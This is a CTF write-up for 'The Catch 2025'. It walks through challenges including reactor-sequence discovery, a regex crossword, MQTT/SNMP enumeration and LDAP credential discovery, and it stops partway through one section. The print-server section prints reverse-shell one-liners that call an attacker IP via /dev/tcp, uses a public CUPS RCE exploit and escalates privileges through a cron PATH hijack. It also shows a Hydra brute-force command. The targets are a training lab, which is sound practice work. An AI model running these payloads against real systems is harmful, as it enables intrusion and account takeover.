

# CTF : The Catch 2025

---

*Write-up by Boula-Bytes*

## CTF : The Catch 2025

Preamble and Informations

Charge Point Academy

VPN Test

Void foundry

Reactor startup

Sunday expansion pack

Internal systems

Sensor array

Print server

Gridwatch

Temporary webmail

FALCON

Chapter 1: Operator

Chapter 2: The Vendor

Chapter 3: Open the door

Chapter 4: Is not free

Chapter 5: Hits

Incident analysis

Inaccessible backup

Threatening message

Suspicious communication

New services

Single Sign-on

Role management system

Webhosting

The end

## Preamble and Informations

---

Through the organization of the annual Catch competition, we endorse the ideas of the **Cyber Security Month in 2025**, thus contributing to building a more secure Internet environment and cyberspace. The competition is organized by the [CESNET Association](#).

- My CTFd username: boulabytes
- Country: 

### Warning

I am not fluent in English, so this document may contain grammatical and conjugation errors. Please excuse me for that. 😊

---

# Charge Point Academy

---

## VPN Test

Hi, trainee,

nobody can work secure without VPN. You have to install and configure OpenVPN properly. Configuration file can be downloaded from CTFd's link [VPN](#). Your task is to activate VPN, visit the testing pages, and get your code proving your IPv4 and IPv6 readiness.

Stay grounded!

- IPv4 testing page is available at <http://volt.powergrid.tcc>.
- IPv6 testing page is available at <http://ampere.powergrid.tcc>.

This just a test to ensure the vpn works correctly. We have to connect to the VPN and navigate to two URL and get the flag.

## Void foundry

Hi, trainee,

since the TV report about our new elementary particle factory was broadcast, we have recorded several strange external intrusions. We suspect this may be connected — check it out.

Stay grounded!

- Watch/download the [TCC News](#)

In this challenge we just have to watch the video. At some moment an url, a login and a password are shown in background.

Then I navigated to the void foundry website by using the URL ; sign-in with the leaked creds and get the flag.

\o/

## Reactor startup

Hi, trainee,

normally, this task would be assigned to a senior worker, but none are available now, so your mission will be to start the shut-down reactor at the Granite Peak Nuclear as quickly as possible — by following the startup checklist and entering the sequence step by step. However, we have a big problem: the standard items (e.g., "primary circuit leak test") have somehow been renamed to nonsense by some catholic. Only the first item, `Initiate Control Circuits`, and the last one, `Phase the Power Plant`, remain unchanged.

The radiation situation at Granite Peak Nuclear remains normal.

Stay grounded!

Interface for starting sequence is at <http://gpn.powergrid.tcc/>

We have to discover the correct sequence to launch the reactor.

If we post the first item and then the last the program tell us what is the second item.

If we continue with this pattern we can discover all items.

So I created a python script to discover the full sequence and save the last html page.

```
1  #!/usr/bin/env python3
2  # -*- coding: utf-8 -*-
3
4  import argparse, re, sys, time
5  try:
6      import requests
7  except Exception:
8      print("This script needs 'requests': pip install requests", file=sys.stderr)
9      raise
10
11  ERROR_MISSING_RE = re.compile(r"Item ['\u2018\u2019&#039;\""]?(.+?)
12  ['\u2018\u2019&#039;\""]?\s+missing", re.I)
13
14  def post_form(session, base_url, data):
15      if not base_url.endswith('/'):
16          base_url = base_url + '/'
17      headers = {
18          "User-Agent": "SequenceBot/1.1 (+tcc)",
19          "Content-Type": "application/x-www-form-urlencoded",
20          "Origin": base_url.rstrip('/'),
21          "Referer": base_url,
22      }
23      r = session.post(base_url, data=data, headers=headers, allow_redirects=True,
24          timeout=15)
25      r.raise_for_status()
26      return r.text
27
28  def parse_error_missing(html_text):
29      text = (html_text
30          .replace("&nbsp;", " ")
31          .replace("&", "&")
32          .replace("&quot;", "'")
33          .replace("&#039;", "'")
34          .replace("&apos;", "'"))
35      m = ERROR_MISSING_RE.search(text)
36      return m.group(1).strip() if m else None
37
38  def looks_like_success(html_text):
39      if "Invalid sequence" in html_text or "missing. System reset" in html_text:
40          return False
41      if 'class="message error"' in html_text or "message error" in html_text:
42          return False
43      return True
44
45  def discover_sequence(base_url, first_cmd, last_cmd, max_steps=50, sleep_between=0.2,
46      verbose=True):
47      """
```

```

45     Returns (sequence_list, final_html_when_last_is_accepted)
46     """
47     sess = requests.Session()
48     known = [first_cmd]
49     final_html = None
50
51     for _ in range(max_steps):
52         try:
53             post_form(sess, base_url, {"reset": "1"})
54         except Exception:
55             pass
56
57         for cmd in known:
58             body = post_form(sess, base_url, {"command": cmd})
59             if not looks_like_success(body):
60                 raise RuntimeError("Known command failed unexpectedly:
61 {}").format(cmd))
62             if verbose:
63                 print("[ok] {}".format(cmd))
64                 time.sleep(sleep_between)
65
66             body = post_form(sess, base_url, {"command": last_cmd})
67             missing = parse_error_missing(body)
68
69             if missing:
70                 if verbose:
71                     print("[+] Next required item discovered: {}".format(missing))
72                 if missing not in known:
73                     known.append(missing)
74                     time.sleep(sleep_between)
75                     continue
76
77             # last accepted -> discovery complete
78             if verbose:
79                 print("[ok] {}".format(last_cmd))
80             final_html = body
81             return (known + [last_cmd], final_html)
82
83     raise RuntimeError("Reached max_steps without finishing. Increase --max-steps?")
84
85 def execute_full_sequence(base_url, sequence, sleep_between=0.2):
86     """
87     Executes the full sequence once and returns the final page HTML.
88     """
89     sess = requests.Session()
90     try:
91         post_form(sess, base_url, {"reset": "1"})
92     except Exception:
93         pass
94
95     last_html = None
96     for cmd in sequence:
97         last_html = post_form(sess, base_url, {"command": cmd})

```

```

97         if not looks_like_success(last_html):
98             m = re.search(r'<div class="message[^"]*">(.*?)</div>', last_html, re.S |
re.I)
99             detail = re.sub(r"\s+", " ", m.group(1)).strip() if m else "unknown error"
100             raise RuntimeError("Execution failed on '{}': {}".format(cmd, detail))
101             print("[exec] {}".format(cmd))
102             time.sleep(sleep_between)
103
104         return last_html # HTML after the final command
105
106 def save_html(path, html):
107     with open(path, "w", encoding="utf-8") as f:
108         f.write(html)
109
110 def main():
111     ap = argparse.ArgumentParser(description="TCC Reactor sequence auto-discovery &
execution (with final HTML capture)")
112     ap.add_argument("--url", default="http://gpn.powergrid.tcc/", help="Base URL")
113     ap.add_argument("--first", default="Initiate Control Circuits", help="First
command")
114     ap.add_argument("--last", default="Phase the Power Plant", help="Final command")
115     ap.add_argument("--max-steps", type=int, default=50)
116     ap.add_argument("--sleep", type=float, default=0.2)
117     ap.add_argument("--no-verbose", action="store_true")
118     ap.add_argument("--execute", action="store_true", help="Execute once after
discovery")
119     ap.add_argument("--save-html", default="tcc_last.html", help="File to save the
final page HTML")
120     ap.add_argument("--no-save", action="store_true", help="Do not save HTML to disk")
121     args = ap.parse_args()
122
123     sequence, final_html_discovery = discover_sequence(
124         base_url=args.url,
125         first_cmd=args.first,
126         last_cmd=args.last,
127         max_steps=args.max_steps,
128         sleep_between=args.sleep,
129         verbose=not args.no_verbose
130     )
131
132     print("\nFull ordered sequence discovered ({} steps):".format(len(sequence)))
133     for i, cmd in enumerate(sequence, 1):
134         print("{:2d}. {}".format(i, cmd))
135
136     # Save the discovery-final page (the one where LAST is accepted)
137     if not args.no_save and final_html_discovery:
138         save_html(args.save_html, final_html_discovery)
139         print("\n📄 Final page (discovery) saved to:", args.save_html)
140
141     if args.execute:
142         print("\n--- Executing sequence ---")
143         final_html_exec = execute_full_sequence(args.url, sequence,
sleep_between=args.sleep)

```

```

144         if not args.no_save and final_html_exec:
145             # Overwrite with the page after a clean full run
146             save_html(args.save_html, final_html_exec)
147             print("📄 Final page (after execution) saved to:", args.save_html)
148             print("✅ Sequence executed.")
149
150 if __name__ == "__main__":
151     main()
152

```

In the saved html file there was the flag :

```

1  [...]
2      <div class="message success">
3          Command executed successfully. TCC Reactor ONLINE. Start sequence logged:
4          FLAG{xxxx-xxxx-xxxx-xxxx}      </div>
5  [...]

```

\o/

## Sunday expansion pack

Hi, trainee,

unlock the secrets of regular expressions - a must for mastering the powergrid! Last Sunday, `The Null Hypothesis Herald` featured a crossword supplement where you can easily test your skills.

Stay grounded!

- [Download the supplement](#)

I resolved the regex crossword in the old fashion way : manually 😁

## Crossword Horizontal Legend

### A.1 Solution, Part 1

A.2 [BP] (OWE|OWL) .

A.3 (BR|GB|IDS|IPS)\*

B.1 O

B.2 (.) (.) (.) \2\2\2\3\2\1

B.3 (AC|DC)\*

B.4 .\*

C.1 (.)\1

C.2 . (DID|DO)\*

C.3 (DA|DB)\*

D.1 (O|OO)\*

### D.2 Solution, Part 4

E.1 [HPT]\*

E.2 [DELP]\*CC(MID|MIS)\.

E.3 (TCC|TBC|BTC)

F.1 O

F.2 (ARP|IP)

F.3 (EC|IC|ID)

F.4 S

G.1 (KFC|NHL|PDA)

G.2 (RAL|RUR)

G.3 (RR|TO|ZX)\*

G.4 [LS]+

H.1 [DLO]+

H.2 (.)\1L

H.3 (UV|HC|HB)\*

H.4 (AS|SS)\*

I.1 (IDE|ODD)

I.2 (GE|I|L|MI)\*

I.3 (TA|TB)\..

I.4 C.C\*

J.1 (.)\1\*

J.2 (EAA|UEE)\*

J.3 U(A|B) (MC|WC)

J.4 (.) (.)\1\2

K.1 (IDX|JVC|KLM)

K.2 (ESE|X|XE)\*

K.3 (AE|EO|UI)

K.4 -

L.1 (.) (.)\1\2\1\2\*

### L.2 Solution, Part 3

M.1 (EF|FE|-)\*

M.2 (GEP|GAP)\*

M.3 (CSS|ED|OP)\*

N.1 (IT|TIE)\*

N.2 (PRO|PRA)\*

N.3 (CAT|DOG)\*

## Crossword Vertical Legend

1.1 (HO|OH)\*

1.2 [NOPE]+

1.3 [IW]+-[FI]{2,3}

2.1 (TT|HOT)\*

2.2 (HC|HDD|WD)

2.3 (EET|ETT)

3.1 (OH|THE)\*

3.2 (.)\1

3.3 [DWX]\* (.)\1

3.4 [RST]+

4.1 P(CI|CD)\. (H|R)

4.2 [EFGHI]+

5.1 : (HOPE|NX|ROD)

### 5.2 Solution, Part 2

5.3 (EE|GG|HH)

6.1 (\|H|-B) (DOD|BOB)

6.2 (AEE|UAA)\*.\*

7.1 (\|H|-B) (OWL|BOW)

7.2 (AS|IL|LI|SA)\*

7.3 (EGR|REG|GRE)

8.1 (NT|PC) (DE|EE) (.)\3

8.2 (EO|OE)\*

9.1 (HI|O|RC)\*

9.2 [TUV]+

9.3 (PP|V|VP)\*

10.1 . (GC|GCC|TD)\*

10.2 .\*(AB|CB)

10.3 (EGR|REG|GRE)

11.1 (DRM|EA)\*

11.2 [HRW\..]\*

11.3 (IDX|RAA|AAR)

12.1 (II|RC)\*

12.2 (AL|BC|PD)\*

13.1 . (.)\1\*

13.2 (EO|OO)\*

14.1 [CDR]\*\.\.

14.2 (CC|LA)\*

14.3 (NPC|RPG|CSI)

15.1 [IA]{3,3}[T]{2,2}

15.2 (O|SSS)\*

15.3 (DCD|MCO|KCC)

16.1 (DC|C)\*

16.2 [CS]+

16.3 (XSO|YOA)

17.1 [S]\*[A|X] (.)\1[S]\*

17.2 .\*O-X.+

|   | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
|---|---|---|---|---|---|---|---|---|---|----|----|----|----|----|----|----|----|
| A | H | T | T | P | : | / | / | P | O | W  | E  | R  | B  | R  | I  | D  | S  |
| B | O | T | H | C | H | H | H | C | H | T  | A  | C  | D  | C  | A  | C  | S  |
| C | H | H | E | D | O | D | O | D | I | D  | D  | I  | D  | D  | A  | D  | A  |
| D | O | O | O | . | P | O | W | E | R | G  | R  | I  | D  | .  | T  | C  | C  |
| E | H | T | H | H | E | D | L | P | C | C  | M  | I  | D  | .  | T  | C  | C  |
| F | O | # | # | # | # | # | I | P | # | #  | #  | I  | D  | #  | #  | #  | S  |
| G | N | H | L | # | R | A | L | # | T | O  | R  | R  | #  | L  | S  | S  | S  |
| H | O | D | L | # | E | E | L | # | U | V  | H  | C  | #  | A  | S  | S  | S  |
| I | O | D | D | # | G | E | I | # | T | A  | .  | B  | #  | C  | S  | C  | S  |
| J | W | W | W | # | E | A | A | # | U | B  | W  | C  | #  | C  | O  | C  | O  |

|   | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
|---|---|---|---|---|---|---|---|---|---|----|----|----|----|----|----|----|----|
| K | I | D | X | # | X | E | S | E | # | #  | #  | A  | E  | #  | #  | #  | -  |
| L | - | E | - | E | - | E | E | O | V | E  | R  | L  | O  | R  | D  | X  | X  |
| M | F | E | - | F | E | . | G | E | P | G  | A  | P  | O  | P  | C  | S  | S  |
| N | I | T | T | I | E | P | R | O | P | R  | A  | D  | O  | G  | D  | O  | G  |

And I found the URL [HTTP://REGEX-OVERLORDXX.POWERGRID.TCC](http://REGEX-OVERLORDXX.POWERGRID.TCC) to discover the FLAG 😊

\o/

## Internal systems

### Sensor array

Hi, emergency troubleshooter,

sensor data from the distribution network are being continuously transmitted to

`broker.powergrid.tcc`. However, the outsourced provider went bankrupt last week, and no one else has knowledge of how to access these data. Find out how to regain access to the sensor array data.

Stay grounded!

I first do an nmap command to discover which service is available :

```

1  nmap -p- broker.powergrid.tcc
2  Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 12:12 CEST
3  Nmap scan report for broker.powergrid.tcc (10.99.25.50)
4  Host is up (0.031s latency).
5  Other addresses for broker.powergrid.tcc (not scanned): 2001:db8:7cc::25:50
6  Not shown: 65534 closed tcp ports (reset)
7  PORT      STATE SERVICE
8  1883/tcp  open  mqtt
9
10 Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds

```

And to get more informations I tried a more verbose nmap command :

```

1  nmap -p1883 -A broker.powergrid.tcc
2  Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 12:20 CEST
3  Nmap scan report for broker.powergrid.tcc (10.99.25.50)
4  Host is up (0.030s latency).
5  Other addresses for broker.powergrid.tcc (not scanned): 2001:db8:7cc::25:50
6
7  PORT      STATE SERVICE VERSION
8  1883/tcp  open  mqtt
9  |_mqtt-subscribe: Connection rejected: Not Authorized
10 Warning: OSScan results may be unreliable because we could not find at least 1 open and
11 Device type: general purpose

```



```

12 Running: Linux 4.X|5.X
13 OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
14 OS details: Linux 4.15 - 5.19
15 Network Distance: 2 hops
16
17 TRACEROUTE (using port 443/tcp)
18 HOP RTT      ADDRESS
19 1   30.01 ms 10.200.0.1
20 2   30.13 ms 10.99.25.50
21
22 OS and Service detection performed. Please report any incorrect results at
23 https://nmap.org/submit/ .
24 Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds

```

So I figured out that an mqtt server is held by this host. First, I have to discover more informations.

```

1 map -p14567 -sU -A broker.powergrid.tcc
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 23:18 CEST
3 Nmap scan report for broker.powergrid.tcc (10.99.25.50)
4 Host is up (0.045s latency).
5 Other addresses for broker.powergrid.tcc (not scanned): 2001:db8:7cc::25:50
6
7 PORT      STATE      SERVICE VERSION
8 14567/udp open|filtered unknown
9 Too many fingerprints match this host to give specific OS details
10 Network Distance: 2 hops
11
12 TRACEROUTE (using proto 1/icmp)
13 HOP RTT      ADDRESS
14 1   46.22 ms 10.200.0.1
15 2   46.30 ms 10.99.25.50
16
17 OS and Service detection performed. Please report any incorrect results at
18 https://nmap.org/submit/ .
19 Nmap done: 1 IP address (1 host up) scanned in 42.78 seconds

```

So maybe this server supports mqtt over quic

But, no ! False positive !

So I let nmap do its scan :

```

1 nmap -sU broker.powergrid.tcc
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 23:44 CEST
3 Nmap scan report for broker.powergrid.tcc (10.99.25.50)
4 Host is up (0.045s latency).
5 Other addresses for broker.powergrid.tcc (not scanned): 2001:db8:7cc::25:50
6 Not shown: 999 closed udp ports (port-unreach)
7 PORT      STATE SERVICE
8 161/udp open  snmp
9
10 Nmap done: 1 IP address (1 host up) scanned in 997.09 seconds

```

And then :

```
1 snmpwalk -v 2c -c public broker.powergrid.tcc
2 iso.3.6.1.2.1.1.1.0 = STRING: "MQTT broker for power grid sensors. Only reader has the
  rights to subscribe to a topic!"
3 iso.3.6.1.2.1.1.3.0 = Timeticks: (79147337) 9 days, 3:51:13.37
4 iso.3.6.1.2.1.1.5.0 = STRING: "Mosquitto"
5 iso.3.6.1.2.1.1.6.0 = STRING: "DC A, area 51"
6 iso.3.6.1.2.1.1.7.0 = INTEGER: 1
7 iso.3.6.1.2.1.1.7.0 = No more variables left in this MIB View (It is past the end of the
  MIB tree)
```

Okay ! Here is what I needed : `only reader has the rights to subscribe to a topic!`

I just had to use `mosquitto_sub` and provide correct user and password :

```
1 mosquitto_sub -h broker.powergrid.tcc -t '#' -u reader -P reader
2 TEST{bvX2-B8k7-3b6H-MY8p}
3 FLAG{XXXX-XXXX-XXXX-XXXX}
4 TEST{84GL-Fm58-wE4P-rB54}
5 TEST{1vX4-7hk7-a16H-pi45}
6 TEST{bvX2-B8k7-3b6H-MY8p}
```

Flag ! \o/

## Print server

Hi, emergency troubleshooter,

we've received a notification from the national CSIRT that the print server `ipp.powergrid.tcc` may contain a vulnerability. Verify this report and determine whether the vulnerability is present and how severe it is.

Stay grounded!

The server `ipp.powergrid.tcc` hosts an open cups service.

```
1 nmap -p 631 -A ipp.powergrid.tcc
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 20:20 CEST
3 Nmap scan report for ipp.powergrid.tcc (10.99.25.20)
4 Host is up (0.045s latency).
5 Other addresses for ipp.powergrid.tcc (not scanned): 2001:db8:7cc::25:20
6
7 PORT      STATE SERVICE VERSION
8 631/tcp   open  ipp      CUPS 2.4
9 |_http-title: Home - CUPS 2.4.7
10 | http-robots.txt: 1 disallowed entry
11 |_/
12 |_http-server-header: CUPS/2.4 IPP/2.1
13 Warning: OSScan results may be unreliable because we could not find at least 1 open and
  1 closed port
14 Device type: general purpose
15 Running: Linux 4.X|5.X
```

```

16 OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
17 OS details: Linux 4.15 - 5.19
18 Network Distance: 2 hops
19
20 TRACEROUTE (using port 631/tcp)
21 HOP RTT      ADDRESS
22 1 45.84 ms 10.200.0.1
23 2 45.89 ms 10.99.25.20
24
25 OS and Service detection performed. Please report any incorrect results at
  https://nmap.org/submit/ .
26 Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds
27

```

This version of cups can be exploited by the evilcups RCE vuln.

CVE-2024-47176 specifically targets the cups-browsed functionality, which binds to INADDR\_ANY:631, allowing it to trust any packet from any source. By manipulating the Get-Printer-Attributes IPP request, an attacker can send malicious print jobs from a remote system, leading to arbitrary command execution when combined with other vulnerabilities such as CVE-2024-47076 and CVE-2024-47175.

Many users fork the python written PoC on their github so I just have to pick one.

To launch the attack first listen to port on the attacker box with netcat or similar :

```
1 | nc -nvlp 1234
```

Then execute the script :

```
1 | python3 evilcups.py 10.200.0.xx 10.99.25.20 "bash -c 'bash -i >&
  /dev/tcp/10.200.0.xx/1234 0>&1'"
```

Through my browser I went to <https://10.99.25.20:631> and then printers => => maintenance => print test page.

Doing so the victims cups server executes your command, in my case `bash -c 'bash -i >& /dev/tcp/10.200.0.xx/1234 0>&1'`

I got a shell 😊

I was `lp` user. Now I needed to find the flag...

There was a cronjob in `/etc/cron.d/` that was interesting :

```
1 | * * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-
  scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1
```

Let's give a look at this folder :

```

1 | ls -al /opt/scripts
2 | total 16
3 | drwxr-xrwx 1 root cronexec 4096 Oct 14 20:35 .

```

```

4 | drwxr-xr-x 1 root root    4096 Oct  8 10:47 ..
5 | -rwxr-xr-- 1 root cronexec 343 Oct 14 20:35 print_count.sh
6 |
7 | cat print_count.sh
8 | #!/bin/bash
9 |
10 | log="/var/log/cups/access_log"
11 | output="/tmp/stats.txt"
12 |
13 | grep 'POST /printers/. *HTTP/1\..1" 200' "$log" | awk '{ print $4, $7 }' | while read -r
    datetime path; do
14 |     date=$(echo "$datetime" | cut -d: -f1 | tr -d '[')
15 |     printer=$(echo "$path" | cut -d '/' -f3)
16 |     echo "$date $printer"
17 | done | sort | uniq -c | sort -nr > "$output"
18 |

```

Ok ! print\_count.sh is run every minutes by the cronjob I found. And, /opt/scripts is writable by everyone. Moreover, /opt/scripts is included at first position in the PATH for this execution context. So if we create an executable script stored in this directory, let's say a script called sort when print\_count.sh will call it that will be mine 😊

On the attacker machine I set up a new listener :

```

1 | nc -nlvp 1235

```

On victim side :

```

1 | echo "bash -c 'bash -i >& /dev/tcp/10.200.0.19/1236 0>&1'" > /opt/scripts/sort ; chmod
    777 /opt/scripts/sort

```

I just had to wait for a minute and I got shell owned by cups\_admin.

Now let's see what this user can do :

```

1 | sudo -l
2 | Matching Defaults entries for cups_admin on 080fc556748c:
3 |     env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
4 |
5 | User cups_admin may run the following commands on 080fc556748c:
6 |     (ALL) NOPASSWD: /bin/cat /root/TODO.txt

```

When we execute this command we got the flag :

```

1 | sudo /bin/cat /root/TODO.txt

```

\o/

# Gridwatch

Hi, emergency troubleshooter,

the entire Monitoring Department went on a teambuilding trip to the Cayman Islands, into the wilderness outside civilization (and without any telecommunications), and forgot to appoint a deputy during their absence. Verify whether all power plants are still in good condition.

The only thing we know about the monitoring team is that they registered the domain `gridwatch.powergrid.tcc`.

Stay grounded!

This site hosts an icinga server. But I have to discover how to login into the dashboard.

```
1 hydra -l icinga -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt -u -e sn
  http-get://gridwatch.powergrid.tcc:8080/:H=Accept\application/json -v
2 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
  secret service organizations, or for illegal purposes (this is non-binding, these ***
  ignore laws and ethics anyway).
3
4 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-15 10:29:27
5 [DATA] max 16 tasks per 1 server, overall 16 tasks, 1051 login tries (l:1/p:1051), ~66
  tries per task
6 [DATA] attacking http-get://gridwatch.powergrid.tcc:8080/:H=Accept:application/json
7 [VERBOSE] Resolving addresses ... [VERBOSE] resolving done
8 [8080][http-get] host: gridwatch.powergrid.tcc login: icinga password: test
```

Now I can access to the dashboard.

3 hosts are monitored :

db.powergrid.tcc => probably an internal db

webserver.powergrid.tcc => this is the icinga server

ldap.powergrid.tcc => openldap => 10.99.0.52

Let's have a look at the ldap server :

```
1 nmap -p389 --script ldap-search 10.99.25.52
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 18:59 CEST
3 Nmap scan report for 10.99.25.52
4 Host is up (0.037s latency).
5
6 PORT      STATE SERVICE
7 389/tcp   open  ldap
8 | ldap-search:
9 |   Context: dc=ldap,dc=powergrid,dc=tcc
10 |   dn: dc=ldap,dc=powergrid,dc=tcc
11 |   objectClass: top
12 |   objectClass: dcObject
13 |   objectClass: organization
14 |   o: powergrid
15 |   dc: ldap
```

```
16 | dn: ou=Users,dc=ldap,dc=powergrid,dc=tcc
17 |   objectClass: organizationalUnit
18 |   ou: Users
19 |   description: OU for standard users
20 | dn: ou=Services,dc=ldap,dc=powergrid,dc=tcc
21 |   objectClass: organizationalUnit
22 |   ou: Services
23 |   description: OU for service accounts
24 | dn: uid=svc_icinga_ldap,ou=Services,dc=ldap,dc=powergrid,dc=tcc
25 |   objectClass: account
26 |   objectClass: simpleSecurityObject
27 |   objectClass: top
28 |   uid: svc_icinga_ldap
29 |   description: Icinga ldap read service account
30 | dn: ou=Groups,ou=Users,dc=ldap,dc=powergrid,dc=tcc
31 |   objectClass: organizationalUnit
32 |   ou: Groups
33 | dn: cn=icinga-operators,ou=Groups,ou=Users,dc=ldap,dc=powergrid,dc=tcc
34 |   cn: icinga-operators
35 |   objectClass: groupOfNames
36 |   objectClass: top
37 |   member: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
38 |   member: uid=mmoss,ou=Users,dc=ldap,dc=powergrid,dc=tcc
39 |   member: uid=rtrenneman,ou=Users,dc=ldap,dc=powergrid,dc=tcc
40 |   description: Operators group for access to icinga GUI, http://10.99.25.51/
41 | dn: uid=jhalpert,ou=Users,dc=ldap,dc=powergrid,dc=tcc
42 |   objectClass: inetOrgPerson
43 |   objectClass: top
44 |   uid: jhalpert
45 |   cn: jhalpert
46 |   sn: Halpert
47 |   displayName: Jim Halpert
48 | dn: cn=sales,ou=Groups,ou=Users,dc=ldap,dc=powergrid,dc=tcc
49 |   cn: sales
50 |   objectClass: groupOfNames
51 |   objectClass: top
52 |   member: uid=jhalpert,ou=Users,dc=ldap,dc=powergrid,dc=tcc
53 |   member: uid=pvance,ou=Users,dc=ldap,dc=powergrid,dc=tcc
54 |   member: uid=amartin,ou=Users,dc=ldap,dc=powergrid,dc=tcc
55 |   member: uid=kmalone,ou=Users,dc=ldap,dc=powergrid,dc=tcc
56 |   member: uid=mpalmer,ou=Users,dc=ldap,dc=powergrid,dc=tcc
57 |   member: uid=pbeesly,ou=Users,dc=ldap,dc=powergrid,dc=tcc
58 |   member: uid=rhoward,ou=Users,dc=ldap,dc=powergrid,dc=tcc
59 |   member: uid=shudson,ou=Users,dc=ldap,dc=powergrid,dc=tcc
60 |   member: uid=abernard,ou=Users,dc=ldap,dc=powergrid,dc=tcc
61 |   member: uid=dschrute,ou=Users,dc=ldap,dc=powergrid,dc=tcc
62 |   member: uid=omartinez,ou=Users,dc=ldap,dc=powergrid,dc=tcc
63 |   description: Sales group for local branch
64 | dn: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
65 |   objectClass: inetOrgPerson
66 |   objectClass: top
67 |   uid: mscott
68 |   cn: mscott
```

```
69 |         sn: Scott
70 |         displayName: Michael Scott
71 |         description: UHdkIHJlc2V0IHRvIFRoYXRzd2hhdHNoZXNhawQK
72 |     dn: uid=dschrute,ou=Users,dc=ldap,dc=powergrid,dc=tcc
73 |         objectClass: inetOrgPerson
74 |         objectClass: top
75 |         uid: dschrute
76 |         cn: dschrute
77 |         sn: Schrute
78 |         displayName: Dwight Schrute
79 |     dn: uid=pbeesly,ou=Users,dc=ldap,dc=powergrid,dc=tcc
80 |         objectClass: inetOrgPerson
81 |         objectClass: top
82 |         uid: pbeesly
83 |         cn: pbeesly
84 |         sn: Beesly
85 |         displayName: Pam Beesly
86 |     dn: uid=rhoward,ou=Users,dc=ldap,dc=powergrid,dc=tcc
87 |         objectClass: inetOrgPerson
88 |         objectClass: top
89 |         uid: rhoward
90 |         cn: rhoward
91 |         sn: Howard
92 |         displayName: Ryan Howard
93 |     dn: uid=abernard,ou=Users,dc=ldap,dc=powergrid,dc=tcc
94 |         objectClass: inetOrgPerson
95 |         objectClass: top
96 |         uid: abernard
97 |         cn: abernard
98 |         sn: Bernard
99 |         displayName: Andy Bernard
100 |     dn: uid=shudson,ou=Users,dc=ldap,dc=powergrid,dc=tcc
101 |         objectClass: inetOrgPerson
102 |         objectClass: top
103 |         uid: shudson
104 |         cn: shudson
105 |         sn: Hudson
106 |         displayName: Stanley Hudson
107 |     dn: uid=kmalone,ou=Users,dc=ldap,dc=powergrid,dc=tcc
108 |         objectClass: inetOrgPerson
109 |         objectClass: top
110 |         uid: kmalone
111 |         cn: kmalone
112 |         sn: Malone
113 |         displayName: Kevin Malone
114 |     dn: uid=mpalmer,ou=Users,dc=ldap,dc=powergrid,dc=tcc
115 |         objectClass: inetOrgPerson
116 |         objectClass: top
117 |         uid: mpalmer
118 |         cn: mpalmer
119 |         sn: Palmer
120 |         displayName: Meredith Palmer
121 |     dn: uid=amartin,ou=Users,dc=ldap,dc=powergrid,dc=tcc
```

```

122 |         objectClass: inetOrgPerson
123 |         objectClass: top
124 |         uid: amartin
125 |         cn: amartin
126 |         sn: Martin
127 |         displayName: Angela Martin
128 |         dn: uid=omartinez,ou=Users,dc=ldap,dc=powergrid,dc=tcc
129 |         objectClass: inetOrgPerson
130 |         objectClass: top
131 |         uid: omartinez
132 |         cn: omartinez
133 |         sn: Martinez
134 |         displayName: Oscar Martinez
135 |         dn: uid=pvance,ou=Users,dc=ldap,dc=powergrid,dc=tcc
136 |         objectClass: inetOrgPerson
137 |         objectClass: top
138 |         uid: pvance
139 |         cn: pvance
140 |         sn: Vance
141 |         displayName: Phyllis Vance
142 |         dn: cn=managers,ou=Groups,ou=Users,dc=ldap,dc=powergrid,dc=tcc
143 |         cn: managers
144 |         objectClass: groupOfNames
145 |         objectClass: top
146 |         member: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
147 |         member: uid=jbarber,ou=Users,dc=ldap,dc=powergrid,dc=tcc
148 |         description: Manager group for local branch
149 |
150 |
151 |_Result limited to 20 objects (see ldap.maxobjects)
152 |
153 | Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

```

Here are important elements :

```

1 | [...]
2 |         dn: cn=icinga-operators,ou=Groups,ou=Users,dc=ldap,dc=powergrid,dc=tcc
3 |         cn: icinga-operators
4 |         objectClass: groupOfNames
5 |         objectClass: top
6 |         member: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
7 |         member: uid=mmoss,ou=Users,dc=ldap,dc=powergrid,dc=tcc
8 |         member: uid=rtrenneman,ou=Users,dc=ldap,dc=powergrid,dc=tcc
9 |         description: Operators group for access to icinga GUI, http://10.99.25.51/
10 | [...]
11 |         dn: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
12 |         objectClass: inetOrgPerson
13 |         objectClass: top
14 |         uid: mscott
15 |         cn: mscott
16 |         sn: Scott
17 |         displayName: Michael Scott
18 |         description: UHdkIHJlc2V0IHRvIFRoY[...]

```



```
19 | [...]
```

So mister Scott is a member of icinga-operators. And mister Scott set a description attribute :

```
UHdkIHJlc2V0IHRvIFRoY[...]
```

Well it seems to be base64 encoded :

```
1 echo 'UHdkIHJlc2V0IHRvIFRoY[...]' | base64 -d -
2 Pwd reset to {REDACTED}
```

Alright, using mscott:{REDACTED} on icinga login page leads me to a different dashboard with some important hosts !

